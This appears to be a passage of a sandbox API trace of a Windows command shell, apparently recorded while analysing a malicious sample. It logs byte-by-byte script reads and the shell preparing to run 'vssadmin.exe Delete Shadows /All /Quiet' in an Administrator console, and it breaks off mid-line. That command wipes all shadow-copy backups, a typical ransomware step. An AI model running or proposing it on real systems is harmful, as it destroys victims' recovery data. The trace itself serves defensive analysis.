[0074.193] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.193] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr=" service\nervice\ne\n\n\nA\"\n") returned 1 [0074.193] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.193] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.193] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.193] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Dervice\nervice\ne\n\n\nA\"\n") returned 1 [0074.193] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.193] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.193] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="ervice\nervice\ne\n\n\nA\"\n") returned 1 [0074.194] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.194] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.194] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="lvice\nervice\ne\n\n\nA\"\n") returned 1 [0074.194] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.194] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.194] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="eice\nervice\ne\n\n\nA\"\n") returned 1 [0074.194] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.194] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.194] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="tce\nervice\ne\n\n\nA\"\n") returned 1 [0074.194] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.194] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.194] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.194] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="ee\nervice\ne\n\n\nA\"\n") returned 1 [0074.194] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.194] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.194] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.195] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr=" \nervice\ne\n\n\nA\"\n") returned 1 [0074.195] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.195] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.195] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.195] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="Service\ne\n\n\nA\"\n") returned 1 [0074.195] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.195] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.195] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.195] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="hrvice\ne\n\n\nA\"\n") returned 1 [0074.195] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.195] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.195] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.195] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="avice\ne\n\n\nA\"\n") returned 1 [0074.195] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.195] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.195] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.195] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="dice\ne\n\n\nA\"\n") returned 1 [0074.195] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.195] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.195] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="oce\ne\n\n\nA\"\n") returned 1 [0074.196] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.196] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.196] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="we\ne\n\n\nA\"\n") returned 1 [0074.196] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.196] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.196] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="s\ne\n\n\nA\"\n") returned 1 [0074.196] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.196] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.196] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr=" e\n\n\nA\"\n") returned 1 [0074.196] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.196] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.196] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="/\n\n\nA\"\n") returned 1 [0074.196] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.196] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.196] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="A\n\nA\"\n") returned 1 [0074.197] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.197] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.197] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="l\nA\"\n") returned 1 [0074.197] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.197] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.197] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="lA\"\n") returned 1 [0074.197] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.197] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.197] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e360, cchWideChar=1 | out: lpWideCharStr=" \"\n") returned 1 [0074.197] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.197] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.197] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e362, cchWideChar=1 | out: lpWideCharStr="/\n") returned 1 [0074.197] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.197] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.197] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e364, cchWideChar=1 | out: lpWideCharStr="Q") returned 1 [0074.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e366, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0074.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e368, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0074.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e36a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0074.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0074.198] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.198] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.198] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0074.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e36e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0074.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.199] GetFileType (hFile=0xb8) returned 0x3 [0074.199] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.199] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.199] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.199] GetFileType (hFile=0x120) returned 0x3 [0074.199] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin.exe Delete Shadows /All /Quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe Delete Shadows /All /Quiet\n", lpUsedDefaultChar=0x0) returned 41 [0074.199] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x28, lpOverlapped=0x0) returned 1 [0074.199] GetProcessHeap () returned 0x4a0000 [0074.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0074.199] GetProcessHeap () returned 0x4a0000 [0074.199] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0074.199] GetProcessHeap () returned 0x4a0000 [0074.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0074.199] GetProcessHeap () returned 0x4a0000 [0074.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4b6510 [0074.199] GetProcessHeap () returned 0x4a0000 [0074.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x48) returned 0x4baa40 [0074.199] GetConsoleOutputCP () returned 0x1b5 [0074.200] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0074.200] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.200] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.200] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff [0074.200] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0074.200] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0074.200] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0074.200] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0074.201] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0074.201] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0074.201] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0074.201] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0074.201] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0074.201] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0074.201] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0074.201] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0074.201] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0074.201] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0074.201] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0074.201] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0074.201] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0074.201] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0074.201] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0074.201] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0074.201] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0074.201] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0074.201] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0074.201] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0074.201] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0074.201] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0074.201] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0074.201] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0074.201] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0074.201] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0074.201] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0074.201] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0074.201] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0074.202] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0074.202] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0074.202] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0074.202] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0074.202] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0074.202] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0074.202] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0074.202] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0074.202] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0074.202] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0074.202] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0074.202] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0074.202] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0074.202] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0074.202] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0074.202] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0074.202] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0074.202] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0074.202] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0074.202] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0074.202] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0074.202] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0074.202] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0074.202] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0074.202] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0074.202] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0074.202] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0074.202] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0074.203] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0074.203] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0074.203] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0074.203] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0074.203] _wcsicmp (_String1="vssadmin", 